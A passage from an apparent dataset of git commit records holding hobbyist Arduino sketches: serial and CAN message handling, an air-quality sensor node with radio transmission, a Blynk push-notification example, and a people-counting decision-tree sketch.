the hardware serial port:\n Serial.println(\"Data from port two:\");\n while (portTwo.available() > 0) {\n char inByte = portTwo.read();\n delay(500);\n Serial.write(inByte);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/C7C.Atamo.Dusty.Mote_0_0_2\/resources\/Testing\/TU_SH_DpUart_external_op.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1dd47ec758888e8310e19b216e51cc7a02077e0b","subject":"Added new mqtt relay sketch","message":"Added new mqtt relay sketch\n","repos":"ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266,ItKindaWorks\/ESP8266","old_file":"Home Automation\/Sketches\/RelayControl\/RelayControl.ino","new_file":"Home Automation\/Sketches\/RelayControl\/RelayControl.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Home' did not match any file(s) known to git\nerror: pathspec 'Automation\/Sketches\/RelayControl\/RelayControl.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"586ead8c9bcb1aa6866aadf3935a62f7af258ecf","subject":"Bluetooth CAN message parsing","message":"Bluetooth CAN message parsing\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/bluetooth_CAN\/bluetooth_CAN.ino","new_file":"src\/bluetooth_CAN\/bluetooth_CAN.ino","new_contents":"\nint LED = 13; \/\/ LED pin\n \nvoid setup() {\n Serial.begin(9600); \/\/ initialization\n pinMode(LED, OUTPUT);\n Serial.println(\"Press 1 to LED ON or 0 to LED OFF...\");\n}\n \nvoid loop() {\n if (Serial.available() >= 3) { \/\/ if the data came\n\n char str_id[4];\n Serial.readBytes(str_id, 4); \/\/ read id\n Serial.print(\"ID: \");\n for(int i = 0; i < 3; i++) Serial.print(str_id[i]);\n\n\n char dlc_str[2];\n Serial.readBytes(dlc_str, 2);\n Serial.print(\"\\ndlc: \");\n Serial.print(dlc_str[0]);\n Serial.println(dlc_str[1]);\n int dlc = dlc_str[0] - '0';\n dlc << 4;\n dlc += dlc_str[1] - '0';\n Serial.print(\"int dlc: \");\n Serial.println(dlc);\n\n char data[16];\n Serial.readBytes(data, dlc*2); \/\/ read data\n Serial.print(\"Data: \");\n for(int i = 0; i < dlc*2; i+=2)\n {\n Serial.print(\"0x\");\n Serial.print(data[i]);\n Serial.print(data[i+1]);\n Serial.print(\", \");\n }\n\n Serial.println(\"\\n-----------------------\\n\");\n\n delay(100);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/bluetooth_CAN\/bluetooth_CAN.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9a82da42df39e254f7edb13614cf930956c1c19b","subject":"Added comments to the power supply program and took out some unused variables.","message":"Added comments to the power supply program and took out some unused variables.\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/power_system_program\/power_system_program.ino","new_file":"Software\/power_system_program\/power_system_program.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2b7f69eb24225363fadf513dd990fdcd8cd8a392","subject":"Added sensor board node firmware","message":"Added sensor board node firmware\n","repos":"NationalAssociationOfRealtors\/IndoorAirQualitySensor","old_file":"firmware\/SensorBoard_node\/SensorBoard_node.ino","new_file":"firmware\/SensorBoard_node\/SensorBoard_node.ino","new_contents":"#include <RFM69.h> \/\/ from lowpowerlab\n#include <SPI.h>\n#include <SPIFlash.h> \/\/get it here: https:\/\/www.github.com\/lowpowerlab\/spiflash\n#include <Arduino.h>\n#include <Wire.h>\n#include \"Adafruit_SHT31.h\"\n#include \"SparkFunMPL3115A2.h\"\n#include <Adafruit_Sensor.h> \/\/ from Adafruit's github\n#include <Adafruit_TSL2561_U.h>\n#include <avr\/sleep.h>\n#include <avr\/wdt.h>\n\n\/\/ define node parameters\nchar node[] = \"2\";\n#define NODEID 2 \/\/ same sa above - must be unique for each node on same network (range up to 254, 255 is used for broadcast)\n#define GATEWAYID 1\n#define NETWORKID 101\n#define FREQUENCY RF69_915MHZ \/\/Match this with the version of your Moteino! (others: RF69_433MHZ, RF69_868MHZ)\n#define ENCRYPTKEY \"Tt-Mh=SQ#dn#JY3_\" \/\/has to be same 16 characters\/bytes on all nodes, not more not less!\n#define IS_RFM69HW \/\/uncomment only for RFM69HW! Leave out if you have RFM69W!\n#define LED 9\n\n\/\/ define objects\nRFM69 radio;\nMPL3115A2 myPressure;\nAdafruit_SHT31 sht31 = Adafruit_SHT31();\nAdafruit_TSL2561_Unified tsl = Adafruit_TSL2561_Unified(TSL2561_ADDR_FLOAT, 12345);\n\n\/\/ define IAQ core global variables\n#define iaqaddress 0x5A\nuint16_t co2;\nuint8_t statu;\nint32_t resistance;\nuint16_t tvoc;\n\n\/\/ define MICS-4514 global variables\n#define PRE_PIN 8\n#define VNOX_PIN A1\n#define VRED_PIN A2\n#define PRE_HEAT_SECONDS 10\nint vnox_value = 0;\nint vred_value = 0;\n\n\/\/ define TSL2561 global variables\nlong lux;\nfloat bar;\nint sound;\nfloat co;\nfloat no2;\n\nchar dataPacket[150];\n\nISR(WDT_vect) \/\/ Interrupt service routine for WatchDog Timer\n{\n wdt_disable(); \/\/ disable watchdog\n}\n\nvoid setup()\n{\n pinMode(10, OUTPUT);\n Serial.begin(115200);\n Serial.println(\"Setup\");\n\n radio.initialize(FREQUENCY,NODEID,NETWORKID);\n#ifdef IS_RFM69HW\n radio.setHighPower(); \/\/uncomment only for RFM69HW!\n#endif\n radio.encrypt(ENCRYPTKEY);\n \n pinMode(9, OUTPUT); \/\/ pin 9 controls LED\n pinMode(5, OUTPUT); \/\/ pin 5 controls power to all sensors\n digitalWrite(5, HIGH); \/\/ turn all sensors on\n delay(10);\n\n pinMode(PRE_PIN, OUTPUT); \/\/ set preheater pin for mics4514 gas sensor\n Serial.print(\"MICS-4514 Preheating...\");\n \/\/ Wait for preheating\n digitalWrite(PRE_PIN, 1);\n delay(PRE_HEAT_SECONDS * 1000);\n digitalWrite(PRE_PIN, 0);\n Serial.println(\"Done\");\n}\n\n\nvoid sleep()\n{\n \/\/Serial.println(\"Going to Sleep\");\n Serial.flush(); \/\/ empty the send buffer, before continue with; going to sleep\n\n digitalWrite(A1, LOW); \/\/ turn off UV sensor\n \n radio.sleep();\n \n cli(); \/\/ stop interrupts\n MCUSR = 0;\n WDTCSR = (1<<WDCE | 1<<WDE); \/\/ watchdog change enable\n WDTCSR = 1<<WDIE | (1<<WDP3) | (0<<WDP2) | (0<<WDP1) | (1<<WDP0); \/\/ set prescaler to 8 second\n sei(); \/\/ enable global interrupts\n\n byte _ADCSRA = ADCSRA; \/\/ save ADC state\n ADCSRA &= ~(1 << ADEN);\n\n asm(\"wdr\");\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n cli(); \n \/\/PORTD |= (1<<PORTD4); \/\/Activate pullup on pin 4\n \/\/PCICR |= (1<<PCIE2);\n \/\/PCMSK2 |= (1<<PCINT20);\n sleep_enable(); \n sleep_bod_disable();\n sei(); \n sleep_cpu(); \n \n sleep_disable(); \n sei(); \n\n ADCSRA = _ADCSRA; \/\/ restore ADC state (enable ADC)\n delay(1);\n \n \/\/ADCSRA &= (1 << ADEN);\n}\n\n\nvoid loop() \n{\n sleep();\n \n readSensors();\n \n Serial.println(dataPacket);\n Serial.println(strlen(dataPacket));\n delay(50);\n\n \/\/ send datapacket\n radio.sendWithRetry(GATEWAYID, dataPacket, strlen(dataPacket), 5, 100); \/\/ send data, retry 5 times with delay of 100ms between each retry\n dataPacket[0] = (char)0; \/\/ clearing first byte of char array clears the array\n\n \/*\n \/\/ blink LED after sending to give visual indication on the board\n digitalWrite(9, HIGH);\n delay(50);\n digitalWrite(9, LOW);\n *\/\n fadeLED();\n}\n\n\n\nvoid readSensors()\n{\n \n \/\/T\/RH\n sht31.begin(0x44);\n float temp = sht31.readTemperature();\n float rh = sht31.readHumidity();\n\n \n \/\/light\n tsl.begin(); \n tsl.enableAutoRange(true);\n \/\/tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_13MS); \/* fast but low resolution *\/\n tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_101MS); \/* medium resolution and speed *\/\n \/\/ tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_402MS); \/* 16-bit data but slowest conversions *\/\n sensors_event_t event;\n tsl.getEvent(&event);\n if (event.light)\n lux = event.light;\n else\n lux = -1;\n\n\n \/\/ IAQ core\n Wire.requestFrom(iaqaddress, 9);\n co2 = (Wire.read()<< 8 | Wire.read()); \n statu = Wire.read();\n resistance = (Wire.read()& 0x00)| (Wire.read()<<16)| (Wire.read()<<8| Wire.read());\n tvoc = (Wire.read()<<8 | Wire.read());\n\n \n\n \/\/ ADMP401 mic for sound level\n sound = analogRead(A0); \/\/ read sound levels\n\n\n \/\/ MPL3115A2 air pressure sensor\n myPressure.begin(); \/\/ Get pressure sensor online\n \/\/Configure the sensor\n \/\/myPressure.setModeAltimeter(); \/\/ Measure altitude above sea level in meters\n myPressure.setModeBarometer(); \/\/ Measure pressure in Pascals from 20 to 110 kPa\n \n myPressure.setOversampleRate(7); \/\/ Set Oversample to the recommended 128\n myPressure.enableEventFlags(); \/\/ Enable all three pressure and temp event flags \n delay(10);\n \n float pressure = myPressure.readPressure();\n float temperature = myPressure.readTempF();\n\n \/\/const int station_elevation_ft = 5374; \/\/Must be obtained with a GPS unit\n \/\/float station_elevation_m = station_elevation_ft * 0.3048; \/\/I'm going to hard code this\n const int station_elevation_m = 181; \/\/Chicago\n \/\/1 pascal = 0.01 millibars\n pressure \/= 100; \/\/pressure is now in millibars\n\n float part1 = pressure - 0.3; \/\/Part 1 of formula\n \n const float part2 = 8.42288 \/ 100000.0;\n float part3 = pow((pressure - 0.3), 0.190284);\n float part4 = (float)station_elevation_m \/ part3;\n float part5 = (1.0 + (part2 * part4));\n float part6 = pow(part5, (1.0\/0.190284));\n float altimeter_setting_pressure_mb = part1 * part6; \/\/Output is now in adjusted millibars\n bar = altimeter_setting_pressure_mb * 0.02953;\n\n\n\n \/\/ MICS 4514 CO\/NO2 gas sensor\n \/\/ Read analog values, print them out, and wait\n vnox_value = analogRead(VNOX_PIN);\n vred_value = analogRead(VRED_PIN);\n co = readCO();\n no2 = readNO2();\n\n\n\n\n \/\/ define character arrays for all variables\n \/\/char _i[4];\n char _t[7];\n char _h[7];\n char _c[7];\n char _o[7];\n char _g[7];\n char _l[7];\n char _n[7];\n char _s[7];\n char _v[7];\n \n\n \/\/ convert all flaoting point and integer variables into character arrays\n \/\/dtostrf(nodeID, 2, 0, _i);\n dtostrf(temp, 3, 1, _t); \/\/ this function converts float into char array. 3 is minimum width, 2 is decimal precision\n dtostrf(rh, 3, 1, _h);\n dtostrf(co2, 3, 0, _c);\n dtostrf(co, 1, 0, _o); \n dtostrf(bar, 3, 2, _g);\n dtostrf(lux, 1, 0, _l);\n dtostrf(no2, 1, 0, _n);\n dtostrf(sound, 1, 0, _s);\n dtostrf(tvoc, 1, 0, _v);\n delay(50);\n \n dataPacket[0] = 0; \/\/ first value of dataPacket should be a 0\n \n \/\/ create datapacket by combining all character arrays into a large character array\n strcat(dataPacket, \"i:\");\n strcat(dataPacket, node);\n strcat(dataPacket, \",t:\");\n strcat(dataPacket, _t);\n strcat(dataPacket, \",h:\");\n strcat(dataPacket, _h);\n strcat(dataPacket, \",c:\");\n strcat(dataPacket, _c);\n strcat(dataPacket, \",o:\");\n strcat(dataPacket, _o);\n strcat(dataPacket, \",g:\");\n strcat(dataPacket, _g);\n strcat(dataPacket, \",l:\");\n strcat(dataPacket, _l);\n strcat(dataPacket, \",n:\");\n strcat(dataPacket, _n);\n strcat(dataPacket, \",s:\");\n strcat(dataPacket, _s);\n strcat(dataPacket, \",v:\");\n strcat(dataPacket, _v);\n delay(50);\n}\n\n\n\n\nfloat readCO()\n{\n float adc = analogRead(VNOX_PIN);\n float Rs = 47000.0\/(1023.0\/adc);\n float R0 = 82000.0;\n float ratio = Rs\/R0;\n float concentration = ((-181.4)*log(ratio))-97.469;\n \/\/Serial.println(adc);\n \/\/Serial.println(Rs);\n \/\/Serial.println(R0);\n \/\/Serial.println(ratio);\n if(concentration>0)\n {\n return concentration;\n }\n else\n {\n return 0;\n }\n}\n\nfloat readNO2()\n{\n float adc = analogRead(VRED_PIN);\n float Rs = 22000.0\/(1023.0\/adc);\n float R0 = 350.0;\n float ratio = Rs\/R0;\n float concentration = (124.28*log(ratio))-270.37;\n \/\/Serial.println(adc);\n \/\/Serial.println(Rs);\n \/\/Serial.println(R0);\n \/\/Serial.println(ratio);\n if(concentration>0)\n {\n return concentration;\n }\n else\n {\n return 0;\n }\n}\n\n\n\n\/\/ interpolate the UV intensity (from voltage vs intensity graph in datasheet)\nfloat mapfloat(float x, float in_min, float in_max, float out_min, float out_max)\n{\n return (x - in_min) * (out_max - out_min) \/ (in_max - in_min) + out_min;\n}\n\n\n\nvoid fadeLED()\n{\n int brightness = 0;\n int fadeAmount = 5;\n for(int i=0; i<510; i=i+5) \/\/ 255 is max analog value, 255 * 2 = 510\n {\n analogWrite(9, brightness); \/\/ pin 9 is LED\n \n \/\/ change the brightness for next time through the loop:\n brightness = brightness + fadeAmount; \/\/ increment brightness level by 5 each time (0 is lowest, 255 is highest)\n \n \/\/ reverse the direction of the fading at the ends of the fade:\n if (brightness <= 0 || brightness >= 255)\n {\n fadeAmount = -fadeAmount;\n }\n \/\/ wait for 20-30 milliseconds to see the dimming effect\n delay(20);\n }\n digitalWrite(9, LOW); \/\/ switch LED off at the end of fade\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/SensorBoard_node\/SensorBoard_node.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c8607c4b073affe41e9a068ce21213c9ba23354b","subject":"Update PushNotification.ino","message":"Update PushNotification.ino","repos":"radut\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,csicar\/blynk-library,sstocker46\/blynk-library,johan--\/blynk-library,radut\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,flashvnn\/blynk-library,al1271\/blynk-library,sstocker46\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,flashvnn\/blynk-library,CedricFinance\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,al1271\/blynk-library,csicar\/blynk-library,csicar\/blynk-library,johan--\/blynk-library,al1271\/blynk-library,sstocker46\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library","old_file":"examples\/Widgets\/PushNotification\/PushNotification.ino","new_file":"examples\/Widgets\/PushNotification\/PushNotification.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * Simple push notification example\n *\n * App dashboard setup:\n * Push widget\n *\n * Connect a button to pin 2 and GND...\n * Pressing this button will also push a message! ;)\n *\n **************************************************************\/\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nSimpleTimer timer;\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth);\n\n while (!Blynk.connect()) {\n \/\/ Wait until connected\n }\n\n \/\/ Notify immediately on startup\n Blynk.notify(\"Device started\");\n\n \/\/ Setup a function to be called every minute\n timer.setInterval(60000L, notifyUptime);\n\n \/\/ Setup notification button on pin 2\n pinMode(2, INPUT_PULLUP);\n \/\/ Attach pin 2 interrupt to our handler\n attachInterrupt(digitalPinToInterrupt(2), notifyOnButtonPress, CHANGE);\n}\n\nvoid notifyUptime()\n{\n long uptime = millis() \/ 60000L;\n\n \/\/ Actually send the message.\n \/\/ Note:\n \/\/ We allow 1 notification per minute for now.\n Blynk.notify(String(\"Running for \") + uptime + \" minutes.\");\n}\n\nvoid notifyOnButtonPress()\n{\n \/\/ Invert state, since button is \"Active LOW\"\n int isButtonPressed = !digitalRead(2);\n if (isButtonPressed) {\n BLYNK_LOG(\"Button is pressed.\");\n\n Blynk.notify(\"Yaaay... button is pressed!\");\n }\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * Simple push notification example\n *\n * App dashboard setup:\n * Push widget\n *\n * Connect a button to pin 2 and GND...\n * Pressing this button will also push a message! ;)\n *\n **************************************************************\/\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nSimpleTimer timer;\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth);\n\n while (!Blynk.connect()) {\n \/\/ Wait until connected\n }\n\n \/\/ Notify immediately on startup\n Blynk.notify(\"Device started\");\n\n \/\/ Setup a function to be called every minute\n timer.setInterval(60000L, notifyUptime);\n\n \/\/ Setup notification button on pin 2\n pinMode(2, INPUT_PULLUP);\n \/\/ Attach pin 2 interrupt to our handler\n attachInterrupt(0, notifyOnButtonPress, CHANGE);\n}\n\nvoid notifyUptime()\n{\n long uptime = millis() \/ 60000L;\n\n \/\/ Actually send the message.\n \/\/ Note:\n \/\/ We allow 1 notification per minute for now.\n Blynk.notify(String(\"Running for \") + uptime + \" minutes.\");\n}\n\nvoid notifyOnButtonPress()\n{\n \/\/ Invert state, since button is \"Active LOW\"\n int isButtonPressed = !digitalRead(2);\n if (isButtonPressed) {\n BLYNK_LOG(\"Button is pressed.\");\n\n Blynk.notify(\"Yaaay... button is pressed!\");\n }\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"0287a9e17bcc1fb151f78e1b15e1ed9ebc5bd888","subject":"arduino test file","message":"arduino test file\n","repos":"arthurlockman\/wyatt,arthurlockman\/wyatt,arthurlockman\/wyatt","old_file":"arduino\/serialTest.ino","new_file":"arduino\/serialTest.ino","new_contents":"\nint pwmPin1 = 3; \nint pwmPin2 = 5;\nint pwmPin3 = 6;\nint pwmPin4 = 9;\n\nint irPin = 10;\nint incomingByte = 0;\n\n\nvoid setup() {\n \n \/* Initialize Serial at a 9600 baud rate *\/\n Serial.begin(9600);\n \n \/* Configure PWM pins *\/\n pinMode(pwmPin1, OUTPUT);\n pinMode(pwmPin2, OUTPUT);\n pinMode(pwmPin3, OUTPUT);\n pinMode(pwmPin4, OUTPUT);\n \n \/* Configure IR range finders *\/\n pinMode(irPin, INPUT);\n\n}\n\nvoid loop() {\n \n \n\n}\n\n\/* Read IR value of specified pin *\/\nvoid readIR(int pin) {\n \n int val = analogRead(pin);\n getDistance(val);\n}\n\n\/* 4 + 1023\/Value *\/\nfloat getDistance(int val) {\n \n float dist;\n \/\/dist = 4 + 5 * 1023.0\/(float)val; \n dist = 12343.85 * pow(val, -1.15);\n Serial.println(dist);\n return dist;\n}\n\n\/* Handles receiving serial communication *\/\nvoid recvSerial() {\n \n if (Serial.available() > 0) { \n incomingByte = Serial.read();\n Serial.print(\"received: \");\n Serial.println(incomingByte, DEC);\n }\n}\n\n\/* Function to drive given PWM pin given value *\/\nvoid writePWM(int pin, float value) {\n \n analogWrite(pin, value);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/serialTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7f30be8b76fc40610910001130926b3c5ff7238c","subject":"commit","message":"commit\n","repos":"PEOPLE-INSIDE\/people-inside","old_file":"projects\/arduino\/peopleinside.ino","new_file":"projects\/arduino\/peopleinside.ino","new_contents":"\/\/#include <SPI.h>\n#include <QueueArray.h>\n\/\/#include <Phpoc.h>\n\n#define DATA_SIZE 100\n#define TREE_SIZE 50\n\/\/#define QN 6\n\n\/\/ \ud540\ubc88\ud638 \uc124\uc815\nint echo[4] = { 2, 8, 7, 5 };\nint trig[4] = { 3, 9, 6, 4 };\n\n\/\/ \uac70\ub9ac\nfloat distance[4];\n\n\/\/ Bound, standard diviationl\nfloat lowerbound[4], upperbound[4];\n\/\/PhpocClient client;\n\/\/ global avg (\ubcbd\uacfc\uc758 \uac70\ub9ac)\n\/\/float real_avg = 0;\n\n\/\/ initial times\nint times = 0;\n\nint cnt = 0;\nint data_cnt = 0;\nbool isNewLine = false;\n\n\/\/QueueArray <float> Q[4];\n\/\/QueueArray <float> D;\nfloat ar[16];\nint index = 0;\n\/\/float Qsum[4] = {0,};\n\/\/float Qavg[4] = {0,};\nbool first = false;\nbool last = false;\nbool sw = true;\n\nint seq = 1;\n\nint vote[TREE_SIZE];\n\nvoid setup() {\n Serial.begin(250000);\n \/\/ while (!Serial)\n \/\/ ;\n \/\/ Serial.println(\"Sending GET request to web server\");\n \/\/ Phpoc.begin(PF_LOG_SPI | PF_LOG_NET);\n for (int i = 0; i < 4; i++) {\n pinMode(trig[i], OUTPUT);\n pinMode(echo[i], INPUT);\n }\n \/\/ lowerbound[0] = 88 - 4;\n \/\/ lowerbound[1] = 88 - 4;\n \/\/ lowerbound[2] = 88 - 4;\n \/\/ lowerbound[3] = 88 - 4;\n \/\/ upperbound[0] = 88 + 4;\n \/\/ upperbound[1] = 88 + 4;\n \/\/ upperbound[2] = 88 + 4;\n \/\/ upperbound[3] = 88 + 4;\n lowerbound[0] = 83.08;\n lowerbound[1] = 83.35;\n lowerbound[2] = 82.82;\n lowerbound[3] = 83.34;\n upperbound[0] = 91.39;\n upperbound[1] = 91.66;\n upperbound[2] = 91.13;\n upperbound[3] = 91.65;\n}\n\n\/\/void initialize(int init_time) {\n\/\/ if (times < init_time) {\n\/\/ for (int i = 0; i < 4; i++) {\n\/\/ arr[i][times] = distance[i];\n\/\/ }\n\/\/ }\n\/\/}\n\n\/\/void calculate_bound(int init_time) {\n\/\/ float sum[4] = {0,}, avg[4], stddv[4], sig = 0;\n\/\/\n\/\/ for (int i = 0; i < 4; i++) {\n\/\/ for (int j = 10; j < init_time; j++) {\n\/\/ sum[i] += arr[i][j];\n\/\/ }\n\/\/ avg[i] = sum[i] \/ (init_time - 10);\n\/\/ sum[i] = 0;\n\/\/ }\n\/\/\n\/\/ for (int i = 0; i < 4; i++) {\n\/\/ for (int j = 10; j < init_time; j++) {\n\/\/ sum[i] += pow(arr[i][j] - avg[i], 2);\n\/\/ }\n\/\/ stddv[i] = sqrt(sum[i] \/ (init_time - 10)) * 12;\n\/\/ }\n\/\/\n\/\/ for (int i = 0; i < 4; i++) {\n\/\/ if (stddv[i] > sig) sig = stddv[i];\n\/\/ }\n\/\/\n\/\/ for (int i = 0; i < 4; i++) {\n\/\/ lowerbound[i] = avg[i] - sig;\n\/\/ upperbound[i] = avg[i] + sig;\n\/\/ }\n\/\/\n\/\/ for (int i = 0; i < 4; i++) {\n\/\/ real_avg += avg[i];\n\/\/ }\n\/\/ real_avg \/= 4;\n\/\/ lowerbound[0] = 83.08;\n\/\/ lowerbound[1] = 83.35;\n\/\/ lowerbound[2] = 82.82;\n\/\/ lowerbound[3] = 83.34;\n\/\/ upperbound[0] = 91.39;\n\/\/ upperbound[1] = 91.66;\n\/\/ upperbound[2] = 91.13;\n\/\/ upperbound[3] = 91.65;\n\/\/ \/\/ for (int i = 0; i < 4; i++) {\n\/\/ \/\/ lowerbound[i] = real_avg - sig;\n\/\/ \/\/ upperbound[i] = real_avg + sig;\n\/\/ \/\/ }\n\/\/}\n\nbool isInBound(int i) {\n if (distance[i] > lowerbound[i] && distance[i] < upperbound[i]) return true;\n else return false;\n}\n\nvoid process(int i) {\n if (i==2 || i==5 || i==7 || i==8 || i==9 || i==10 || i==12 || i==17 || i==19 || i==26 || i==27 || i==29 || i==30 || i==41 || i==48){\n i=-1;\n }\n if (i == 0) { \/\/ \ubcf4\uc120\n if (ar[3] < 62.25) {\n vote[i] = -1;\n } else {\n if (ar[1] < 81.12) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 1) { \/\/ \ucc44\ub9b0\n if (ar[2] < 83.495) {\n vote[i] = 1;\n } else {\n if (ar[7] < 86.635) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 2) { \/\/ \uc870\uc11c\n if (ar[6] < 79.23) {\n vote[i] = 1;\n } else {\n if (ar[0] < 87.26) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 3) { \/\/ \ub450\uc0c1\n if (ar[11] < 48.25) {\n if (ar[4] < 43) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[2] < 87.105) {\n vote[i] = 1;\n } else {\n if (ar[3] < 55.455) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 4) { \/\/ \uae30\uc6b1\n if (ar[7] < 34) {\n vote[i] = -1;\n } else {\n if (ar[3] < 61.65) {\n vote[i] = -1;\n } else {\n if (ar[1] < 47.245) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 5) { \/\/ \ud615\uc9c4\n if (ar[1] < 77.63) {\n if (ar[4] < 59.38) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[13] < 89.58) {\n if (ar[3] < 39.175) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 6) { \/\/ \uc885\ud638\n if (ar[2] < 63.795) {\n vote[i] = 1;\n } else {\n if (ar[0] < 75.42) {\n vote[i] = 1;\n } else {\n if (ar[4] < 67.845) {\n vote[i] = 1;\n } else {\n if (ar[7] < 87.94) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n }\n else if (i == 7) { \/\/ \uc9c0\uc2dd\n if (ar[1] < 81.185) {\n vote[i] = -1;\n } else {\n if (ar[3] < 55.27) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 8) { \/\/ \uc9c0\uc6d0\n if (ar[7] < 45.3) {\n if (ar[0] < 86.7) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n vote[i] = 1;\n }\n }\n else if (i == 9) { \/\/ \uad11\uc120\n if (ar[2] < 86.925) {\n vote[i] = 1;\n } else {\n if (ar[4] < 43.56) {\n vote[i] = 1;\n } else {\n if (ar[8] < 87.645) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 10) { \/\/ \ub0a8\uc9c4\n if (ar[3] < 50.35) {\n vote[i] = -1;\n } else {\n if (ar[1] < 32.015) {\n vote[i] = -1;\n } else {\n if (ar[5] < 89.8) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 11) { \/\/ \uc18c\ud604\n if (ar[3] < 75.715) {\n vote[i] = -1;\n } else {\n if (ar[3] < 90.3) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 12) { \/\/ \uc131\uc900\n if (ar[7] < 48.025) {\n vote[i] = -1;\n } else {\n if (ar[5] < 64.835) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 13) { \/\/ \uc131\ubbfc\n if (ar[7] < 49.08) {\n if (ar[0] < 47.06) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n vote[i] = 1;\n }\n }\n else if (i == 14) { \/\/ \uc0c1\uc6b0\n if (ar[1] < 81.21) {\n if (ar[0] < 76.17) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[3] < 81.225) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 15) { \/\/ \uc601\uc900\n if (ar[6] < 62.33) {\n if (ar[1] < 88.91) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[4] < 